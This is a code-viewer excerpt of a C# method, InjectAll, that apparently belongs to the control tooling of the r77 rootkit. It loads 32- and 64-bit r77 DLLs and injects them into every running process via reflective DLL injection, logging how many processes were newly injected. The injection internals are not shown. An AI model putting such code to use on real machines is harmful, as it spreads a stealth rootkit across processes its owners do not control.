Injects all processes with the r77 DLL using reflective DLL injection.
()
| 161 | /// Injects all processes with the r77 DLL using reflective DLL injection. |
| 162 | /// </summary> |
| 163 | public static async Task InjectAll() |
| 164 | { |
| 165 | await Task.Run(() => |
| 166 | { |
| 167 | if (ApplicationDirectory.GetFilePath("r77-x86.dll") is not string dll32Path) |
| 168 | { |
| 169 | return; |
| 170 | } |
| 171 | |
| 172 | if (ApplicationDirectory.GetFilePath("r77-x64.dll") is not string dll64Path) |
| 173 | { |
| 174 | return; |
| 175 | } |
| 176 | |
| 177 | int injectedCount = GetInjectedCount(); |
| 178 | |
| 179 | if (!HelperDll.InjectAll(File.ReadAllBytes(dll32Path), File.ReadAllBytes(dll64Path))) |
| 180 | { |
| 181 | Log.Error(new LogTextItem("Injecting processes failed.")); |
| 182 | return; |
| 183 | } |
| 184 | |
| 185 | int newInjectedCount = GetInjectedCount(); |
| 186 | |
| 187 | if (newInjectedCount == injectedCount) |
| 188 | { |
| 189 | Log.Information(new LogTextItem("No processes were injected")); |
| 190 | } |
| 191 | else if (newInjectedCount > injectedCount) |
| 192 | { |
| 193 | Log.Information(new LogTextItem($"Injected {newInjectedCount - injectedCount} processes.")); |
| 194 | } |
| 195 | }); |
| 196 | } |
| 197 | /// <summary> |
| 198 | /// Detaches r77 from all running processes. |
| 199 | /// </summary> |
nothing calls this directly
no test coverage detected